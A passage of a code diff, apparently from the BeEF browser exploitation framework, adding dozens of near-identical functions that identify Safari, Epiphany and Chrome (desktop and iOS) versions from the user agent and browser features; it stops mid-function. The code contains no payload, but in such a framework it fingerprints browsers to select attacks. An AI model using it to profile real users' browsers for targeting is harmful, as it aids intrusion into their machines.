+     * Returns true if Safari 4.xx
+     * @example: beef.browser.isS4()
+     */
+    isS4: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 5.xx
+     * @example: beef.browser.isS5()
+     */
+    isS5: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 6.xx
+     * @example: beef.browser.isS6()
+     */
+    isS6: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 7.xx
+     * @example: beef.browser.isS7()
+     */
+    isS7: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari 8.xx
+     * @example: beef.browser.isS8()
+     */
+    isS8: function () {
+        return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Returns true if Safari.
+     * @example: beef.browser.isS()
+     */
+    isS: function () {
+        return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
+    },
+
+    /**
+     * Returns true if Webkit based
+     */
+
+
+    isWebKitBased: function () {
+        /*
+        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
+        */
+        return (!window.opera && !window.chrome
+                && window.navigator.userAgent.match(/ Version\/\d/) != null
+                && !window.globalStorage
+                && !!window.getComputedStyle
+                && !("MozWebSocket" in window));
+    },
+
+    /**
+     * Return true if Epiphany
+     * @example: beef.browser.isEpi()
+     */
+    isEpi: function () {
+        // Epiphany is based on webkit
+        // due to the uncertainty of webkit version vs Epiphany versions tracking.
+        // -- do webkit based checking (i.e. do safari checks)
+        return this.isWebKitBased() &&  window.navigator.userAgent.match(/Epiphany\//) != null;
+    },
+
+
+    /**
+     * Returns true if Chrome 5.
+     * @example: beef.browser.isC5()
+     */
+    isC5: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 6.
+     * @example: beef.browser.isC6()
+     */
+    isC6: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 7.
+     * @example: beef.browser.isC7()
+     */
+    isC7: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 8.
+     * @example: beef.browser.isC8()
+     */
+    isC8: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 9.
+     * @example: beef.browser.isC9()
+     */
+    isC9: function () {
+        return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 10.
+     * @example: beef.browser.isC10()
+     */
+    isC10: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 11.
+     * @example: beef.browser.isC11()
+     */
+    isC11: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 12.
+     * @example: beef.browser.isC12()
+     */
+    isC12: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 13.
+     * @example: beef.browser.isC13()
+     */
+    isC13: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 14.
+     * @example: beef.browser.isC14()
+     */
+    isC14: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 15.
+     * @example: beef.browser.isC15()
+     */
+    isC15: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 16.
+     * @example: beef.browser.isC16()
+     */
+    isC16: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 17.
+     * @example: beef.browser.isC17()
+     */
+    isC17: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 18.
+     * @example: beef.browser.isC18()
+     */
+    isC18: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 19.
+     * @example: beef.browser.isC19()
+     */
+    isC19: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 19.
+     * @example: beef.browser.isC19iOS()
+     */
+    isC19iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 20.
+     * @example: beef.browser.isC20()
+     */
+    isC20: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 20.
+     * @example: beef.browser.isC20iOS()
+     */
+    isC20iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 21.
+     * @example: beef.browser.isC21()
+     */
+    isC21: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 21.
+     * @example: beef.browser.isC21iOS()
+     */
+    isC21iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 22.
+     * @example: beef.browser.isC22()
+     */
+    isC22: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 22.
+     * @example: beef.browser.isC22iOS()
+     */
+    isC22iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 23.
+     * @example: beef.browser.isC23()
+     */
+    isC23: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 23.
+     * @example: beef.browser.isC23iOS()
+     */
+    isC23iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 24.
+     * @example: beef.browser.isC24()
+     */
+    isC24: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 24.
+     * @example: beef.browser.isC24iOS()
+     */
+    isC24iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 25.
+     * @example: beef.browser.isC25()
+     */
+    isC25: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 25.
+     * @example: beef.browser.isC25iOS()
+     */
+    isC25iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 26.
+     * @example: beef.browser.isC26()
+     */
+    isC26: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 26.
+     * @example: beef.browser.isC26iOS()
+     */
+    isC26iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 27.
+     * @example: beef.browser.isC27()
+     */
+    isC27: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 27.
+     * @example: beef.browser.isC27iOS()
+     */
+    isC27iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 28.
+     * @example: beef.browser.isC28()
+     */
+    isC28: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 28.
+     * @example: beef.browser.isC28iOS()
+     */
+    isC28iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 29.
+     * @example: beef.browser.isC29()
+     */
+    isC29: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 29.
+     * @example: beef.browser.isC29iOS()
+     */
+    isC29iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 30.
+     * @example: beef.browser.isC30()
+     */
+    isC30: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 30.
+     * @example: beef.browser.isC30iOS()
+     */
+    isC30iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 31.
+     * @example: beef.browser.isC31()
+     */
+    isC31: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 31.
+     * @example: beef.browser.isC31iOS()
+     */
+    isC31iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 32.
+     * @example: beef.browser.isC32()
+     */
+    isC32: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 32.
+     * @example: beef.browser.isC32iOS()
+     */
+    isC32iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 33.
+     * @example: beef.browser.isC33()
+     */
+    isC33: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 33.
+     * @example: beef.browser.isC33iOS()
+     */
+    isC33iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 34.
+     * @example: beef.browser.isC34()
+     */
+    isC34: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 34.
+     * @example: beef.browser.isC34iOS()
+     */
+    isC34iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 35.
+     * @example: beef.browser.isC35()
+     */
+    isC35: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 35.
+     * @example: beef.browser.isC35iOS()
+     */
+    isC35iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 36.
+     * @example: beef.browser.isC36()
+     */
+    isC36: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 36.
+     * @example: beef.browser.isC36iOS()
+     */
+    isC36iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 37.
+     * @example: beef.browser.isC37()
+     */
+    isC37: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 37.
+     * @example: beef.browser.isC37iOS()
+     */
+    isC37iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 38.
+     * @example: beef.browser.isC38()
+     */
+    isC38: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 38.
+     * @example: beef.browser.isC38iOS()
+     */
+    isC38iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 39.
+     * @example: beef.browser.isC39()
+     */
+    isC39: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 39.
+     * @example: beef.browser.isC39iOS()
+     */
+    isC39iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 40.
+     * @example: beef.browser.isC40()
+     */
+    isC40: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 40.
+     * @example: beef.browser.isC40iOS()
+     */
+    isC40iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 41.
+     * @example: beef.browser.isC41()
+     */
+    isC41: function () {
+        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 41.
+     * @example: beef.browser.isC41iOS()
+     */
+    isC41iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 42.
+     * @example: beef.browser.isC42()
+     */
+    isC42: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 42.
+     * @example: beef.browser.isC42iOS()
+     */
+    isC42iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 43.
+     * @example: beef.browser.isC43()
+     */
+    isC43: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 43.
+     * @example: beef.browser.isC43iOS()
+     */
+    isC43iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 44.
+     * @example: beef.browser.isC44()
+     */
+    isC44: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 44.
+     * @example: beef.browser.isC44iOS()
+     */
+    isC44iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 45.
+     * @example: beef.browser.isC45()
+     */
+    isC45: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 45.
+     * @example: beef.browser.isC45iOS()
+     */
+    isC45iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 46.
+     * @example: beef.browser.isC46()
+     */
+    isC46: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 46.
+     * @example: beef.browser.isC46iOS()
+     */
+    isC46iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 47.
+     * @example: beef.browser.isC47()
+     */
+    isC47: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 47.
+     * @example: beef.browser.isC47iOS()
+     */
+    isC47iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 48.
+     * @example: beef.browser.isC48()
+     */
+    isC48: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 48.
+     * @example: beef.browser.isC48iOS()
+     */
+    isC48iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 49.
+     * @example: beef.browser.isC49()
+     */
+    isC49: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 49.
+     * @example: beef.browser.isC49iOS()
+     */
+    isC49iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 50.
+     * @example: beef.browser.isC50()
+     */
+    isC50: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 50.
+     * @example: beef.browser.isC50iOS()
+     */
+    isC50iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 51.
+     * @example: beef.browser.isC51()
+     */
+    isC51: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 51.
+     * @example: beef.browser.isC51iOS()
+     */
+    isC51iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 52.
+     * @example: beef.browser.isC52()
+     */
+    isC52: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 52.
+     * @example: beef.browser.isC52iOS()
+     */
+    isC52iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 53.
+     * @example: beef.browser.isC53()
+     */
+    isC53: function () {
